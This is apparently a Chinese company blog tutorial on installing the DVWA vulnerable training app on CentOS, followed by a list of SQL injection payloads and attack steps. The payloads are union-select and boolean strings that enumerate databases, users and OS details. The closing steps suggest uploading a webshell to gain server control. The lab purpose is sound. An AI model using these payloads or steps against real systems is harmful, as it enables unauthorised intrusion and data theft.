简介:DVWA是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用程序,其主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具,帮助运维人员掌握基本的安全测试知识,帮助Web开发人员更好地了解保护Web应用程序的过程。
01.安装环境准备
操作系统CentOS 7.8主机IP10.211.55.25
02.安装部署
1. 下载DVWA安装包
官网下载链接:
https://github.com/ethicalhack3r/DVWA/archive/master.zip
[root@localhost ~]# wget https://github.com/ethicalhack3r/DVWA/archive/master.zip
[root@localhost ~]# unzip master.zip
[root@localhost ~]# mv DVWA-master DVWA
[root@localhost ~]# mv DVWA /home/wwwroot/default/
2. 安装mysql,php-fpm和apache,这边就不细说了
3. 数据库中设置root密码,可自定义,创建一个新的数据库:dvwa 并授权给root权限
[root@localhost ~]# mysql -uroot -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 108
Server version: 5.6.36-log Source distribution
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> create database dvwa;
mysql> grant all privileges on 'dvwa'.* to 'root'@'%' identified by '123456';
mysql> flush privileges;
4. 修改dvwa文件配置
进入
/home/wwwroot/default/DVWA/config,使用 cp config.inc.php.dist config.inc.php 将配置文件复制一份,然后输入 vi config.inc.php 开始编辑配置文件
[root@localhost config]# vi config.inc.php
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa'; //填写数据库名称
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '123456';
5. 访问http://10.211.55.25/DVWA,将会被重定向至
http://10.211.55.25/DVWA/setup.php,页面登入默认账号:admin,密码:password,进入单击页面底部的 Create / Reset Database 按钮,即可跳转至 DVWA 的登陆页面开始使用。
6. sql注入,点击导航栏 SQL Injection ,输入相关语句
SQL Injection
至此,DVWA的基础安装已经完成。
03.常用注入语句
1' order by 2 -- /*用来猜解查询信息的列数
1' and 1=2 union select user(),database(),--
1' and 1=2 union select user(),version(), -- /*利用user(),database(),version()函数获得数据库信息
1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- /*获得操作系统信息1' and ord(mid(user(),1,1))=114 -- /*测试连接数据库用户权限
1' and 1=2 union select 1,schema_name from information_schema.schemata -- /*爆出所有数据库名称1' and exists(select * from users) -- /*猜解表名
1' and exists(select first_name from users) -- /猜解字段名
1' and 1=2 union select first_name,last_name from users -- /*猜解字段内容
04.思路建议
1、寻找注入点,可以通过web扫描工具实现。
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜测关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)。
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传webshell或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。
关于我们
江苏立维互联科技有限公司(简称江苏立维),成立于2015年9月,是一家专注于客户业务安全和稳定的运维服务公司,提供包含咨询、资产管理、软件部署实施、安全防护、监控告警、故障应急响应、活动保障、压力测试、数据库性能优化、融灾、持续集成、运维系统开发等服务。致力于通过专业的服务,帮助企业提升运维能力、降低信息化成本、保障企业的业务稳定和安全,减少企业后顾之忧。
关键词:
渗透测试 云计算 安全 运维